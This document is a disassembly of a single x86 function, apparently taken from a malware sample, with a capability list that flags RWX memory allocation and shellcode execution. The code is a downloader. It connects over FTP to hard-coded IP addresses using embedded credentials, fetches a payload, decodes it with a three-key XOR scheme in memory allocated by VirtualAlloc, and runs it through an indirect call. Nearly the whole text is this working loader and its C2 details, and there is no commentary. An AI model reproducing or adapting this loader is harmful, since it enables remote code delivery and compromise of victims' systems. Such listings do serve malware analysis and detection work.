Function at 0x401000
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
pop ecx
mov esi, str.sl_211.101.235.148_30001
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
push 0xe
lea eax, [ebp - 0x84]
push str.38.181.44.108
xor ebx, ebx
push eax
mov dword [ebp - 0x8c], ebx
movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memcpy
push 5
lea eax, [ebp - 0x64]
push str.safe
push eax
call sub.MSVCR90.dll_memcpy
push 7
lea eax, [ebp - 0x54]
push str.123321
push eax
call sub.MSVCR90.dll_memcpy
push 0x1e
lea eax, [ebp - 0x40]
push str.win.dat_211.101.235.148_30001
push eax
call sub.MSVCR90.dll_memcpy
add esp, 0x30
xor edi, edi
push edi
push edi
push edi
xor esi, esi
push edi
inc esi
push str.WinInet_Ftp
mov dword [ebp - 0x44], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0x8000000
push esi
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push edi
lea ecx, [ebp - 0x84]
push ecx
push eax
mov dword [ebp - 0x88], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x94], esi
cmp esi, edi
jne 0x4010ca
push dword [ebp - 0x88]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401222
push edi
push 0x80000002
push 0x80000000
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov dword [ebp - 0x98], eax
cmp eax, edi
jne 0x401100
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call edi
push dword [ebp - 0x88]
call edi
jmp 0x401222
push edi
push eax
call dword [sym.imp.WININET.dll_FtpGetFileSize]
push eax
mov dword [ebp - 0x90], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
mov esi, 0x1000
push esi
mov dword [ebp - 0x9c], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
pop ecx
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x8c]
push eax
push esi
push dword [ebp - 0xa0]
push dword [ebp - 0x98]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401176
push dword [ebp - 0x8c]
mov eax, dword [ebp - 0x9c]
push dword [ebp - 0xa0]
add eax, ebx
push eax
call sub.MSVCR90.dll_memcpy
add ebx, dword [ebp - 0x8c]
add esp, 0xc
cmp dword [ebp - 0x90], ebx
ja 0x40112d
push dword [ebp - 0x98]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x94]
call esi
push dword [ebp - 0x88]
call esi
push 0x40
push 0x3000
push dword [ebp - 0x90]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x94], eax
cmp eax, edi
je 0x401222
mov dword [ebp - 0x88], edi
cmp dword [ebp - 0x90], edi
jbe 0x401215
mov esi, dword [ebp - 0x9c]
mov ecx, eax
sub esi, eax
mov eax, dword [ebp - 0x88]
push 3
xor edx, edx
pop ebx
div ebx
cmp edx, edi
jne 0x4011e2
mov al, byte [esi + ecx]
xor al, 0x57
jmp 0x4011fe
cmp edx, 1
jne 0x4011ee
mov al, byte [esi + ecx]
xor al, 0x77
jmp 0x4011fe
cmp edx, 2
jne 0x401200
mov al, byte [esi + ecx]
xor al, byte [ebp - 0x88]
xor al, 0x36
mov byte [ecx], al
inc dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
inc ecx
cmp eax, dword [ebp - 0x90]
jb 0x4011ca
lea eax, [ebp - 0x84]
push eax
call dword [ebp - 0x94]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401242
leave
ret 0x10